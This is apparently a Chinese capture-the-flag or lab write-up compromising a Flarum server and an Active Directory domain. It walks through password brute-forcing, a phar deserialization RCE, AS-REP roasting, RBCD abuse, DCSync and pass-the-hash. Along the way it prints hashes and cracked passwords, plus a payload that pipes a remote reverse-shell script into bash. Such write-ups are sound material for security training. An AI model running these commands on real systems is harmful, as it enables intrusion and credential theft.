入口机

首先进行一波扫描

Flarum 后台 RCE

80 开的是 Flarum,提示测试登录口令的安全性,所以使用 yakit 和 rockyou.txt 并发爆破 password: (其实在 top 100000 passwords 里也有)

得到账密:

username: administrator
password: 1chris

登录后台获得信息:

Flarum 1.6.0
PHP 7.4.33
MySQL 8.0.33-0ubuntu0.22.04.4

P师傅发过一个文章: 从偶遇Flarum开始的RCE之旅,可以直接利用。

phpggc -p tar -b Monolog/RCE6 system "curl https://reverse-shell.sh/ip:port | bash"

第一次设置 css 写入:

@import (inline) 'data:text/css;base64,[code]';

第二次设置 css 触发:

.test {
    content: data-uri('phar://./assets/forum.css');
}

提权文件读

flag01 似乎还得提权,除了自动收集脚本 LinuxCheck.sh,可以手动找找 suid 和 cap。

openssl cap 读文件获得入口机 flag

openssl enc -in "/root/flag/flag01.txt"

信息收集

使用 chisel 设置 socks5 代理,入口机执行:

本地执行:

然后走代理连 mysql,密码在 /var/www/html/config.php

可以 dump 出一堆用户,看起来需要爆破域用户。

爆破用户凭据

首先可以使用 AS-REP Roasting 看看有没有无Kerberos预认证的用户,获取到用户 hash 来进行离线破解。

python GetNPUsers.py -dc-ip 172.22.60.8  xiaorang.lab/ -usersfile user.txt

Result:

Impacket v0.12.0.dev1+20240827.174901.2877383 - Copyright 2023 Fortra

$krb5asrep$23$zhangxin@XIAORANG.LAB:a6f3859e73be13cf06a40241f211b203$29784d874309da265797492f49c0de145a6247fdb0c3f0eba6aa88654f332f6b95db6c16b47fd823cb91386d83c9d151ca6413215af54d4223bf7eb1078b6858625c7c39fb359ef08cc36f62f751c892c0e2995a6c9b47b30be9a99ca6e107795cad8e8673b551a6a47f749470569d4f0c6adf129bcf95feea4b541aae21d17aa8bf35ab68f2a34c66c3b634d1ac8cb5b278600a3587f173d6e2355433a10ad6fc30a425495eb68b04aa7c33b95beae934f4feb5cf27afb06c9056f6310090d5745e3dcd8e0745a220500bddd76242f8c92b966f479644d2fa16fa1de1a61b89a401fb62a8f2dc9c2556cec3
$krb5asrep$23$wangyun@XIAORANG.LAB:7c0dd262760f1a0cea8e359c78820c34$918a7dfde96c2bfc8ed998b14b9318d93fc6cb72e698ae48a564f322faf6a420245d0aedda4b730d6352dbcc8027770526f700a3c153941bf354f97aad920bc55b50168e3827f352ea53d439f73415269bacd3e60e3699a610ef81fdb8b084b45a57f0cda9f1dfffd5658c33f10f54977c28bf430f1d01302481e5decbfb851bf049315e49758f109181bfd67d217ea184364d25634ec07c36db9a35bc70214410170d49a65a1bc8cf558681c025c8307cdaffe49db8138506c4c663d1a69b324656b17dc48d975d187657b81398c3d6c503f089edb5fbbd338288f6491058971b080860740988be77610ed8
hashcat -a 0 -m 18200 --force hash.txt rockyou.txt -o result.txt

得到 wangyun/Adm12geC

PC1 (.15) And FILESERVER (.42)

使用前面爆破得到的凭据登录 PC1。

xiaorang.lab\wangyun
Adm12geC

但是似乎没有权限拿 flag,先搁置在这里。

域内信息收集

用这个域用户做一次信息收集 (Darksteel 或者 bloodhound)

darksteel.exe ldap -d dc.xiaorang.lab -n xiaorang.lab -m computer
darksteel.exe ldap -d dc.xiaorang.lab -n xiaorang.lab -u wangyun -p Adm12geC -a
bloodhound-python -u wangyun -p Adm12geC -d xiaorang.lab -c all -ns 172.22.60.8 --zip --dns-tcp

导入发现一条关键路径:

注意到 wangyun 属于 Account Operators 管理组:

This group is empowered to create accounts and groups that are not administrators on the domain. Additionally, it enables local login to the Domain Controller (DC).

不知道为啥打不开 xshell,wangyun 本身的密码可以使用 SharpXDecrypt 导出。

[*] Start GetUserPath....
  UserPath: C:\Users\wangyun\Documents\NetSarang Computer\7
[*] Get UserPath Success !

[*] Start GetUserSID....
  Username: wangyun
  userSID: S-1-5-21-3535393121-624993632-895678587-1107
[*] GetUserSID Success !

  XSHPath: C:\Users\wangyun\Documents\NetSarang Computer\7\Xshell\Sessions\SSH.xsh
  Host: 172.22.60.45
  UserName: zhangxin
  Password: admin4qwY38cc
  Version: 7.1

[*] read done!

RBCD

基于 zhangxin 属于 Account Operators 组,接下来可以参考 基于资源的约束委派-rbcd-利用总结 来打一个 RBCD。

  1. 使用 zhangxin 添加一个机器账户
python addcomputer.py xiaorang.lab/zhangxin:'admin4qwY38cc' -computer-name "TEST$" -computer-pass 123456 -dc-ip 172.22.60.8
  1. 配置 FILESERVER 的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性
python rbcd.py xiaorang.lab/zhangxin:'admin4qwY38cc' -dc-ip 172.22.60.8  -action write -delegate-to "FILESERVER$" -delegate-from "TEST$"
  1. 利用 S4U 协议伪造 Administrator 用户申请 ST
python getST.py xiaorang.lab/"TEST$":123456 -spn cifs/FILESERVER.xiaorang.lab -impersonate administrator -dc-ip 172.22.60.8

改 host

然后用 ST 票据直接连 FILESERVER

python psexec.py -k xiaorang.lab/administrator@FILESERVER.xiaorang.lab -no-pass -codec gbk

不过不知道为什么开了远程桌面但是就算新建用户也登不上。

尝试参考 ms|cannot-connect-rdp-azure-vm 解决,但是一运行这个指令就卡住hmmm… 所以还是直接命令行拿 flag 了。

PC1 同样的道理,与前面步骤一样即可:

DC (.8)

之前看到 FILESERVER$ 有 DCSync,所以先抓一下 hash

python secretsdump.py -k FILESERVER.xiaorang.lab -no-pass -dc-ip 172.22.60.8
XIAORANG\Fileserver$:aad3b435b51404eeaad3b435b51404ee:951d8a9265dfb652f42e5c8c497d70dc:::

然后进行DCSync

python secretsdump.py xiaorang.lab/FILESERVER$@172.22.60.8 -hashes :951d8a9265dfb652f42e5c8c497d70dc -no-pass -dc-ip 172.22.60.8 -just-dc-user administrator

最后登域控即可,不知道为啥域控 psexec 登不了,会一直卡在 uploading 这里,所以换成了 wmiexec。

python wmiexec.py xiaorang.lab/administrator@172.22.60.8 -hashes :c3cfdc08527ec4ab6aa3e630e79d349b -codec gbk

Ref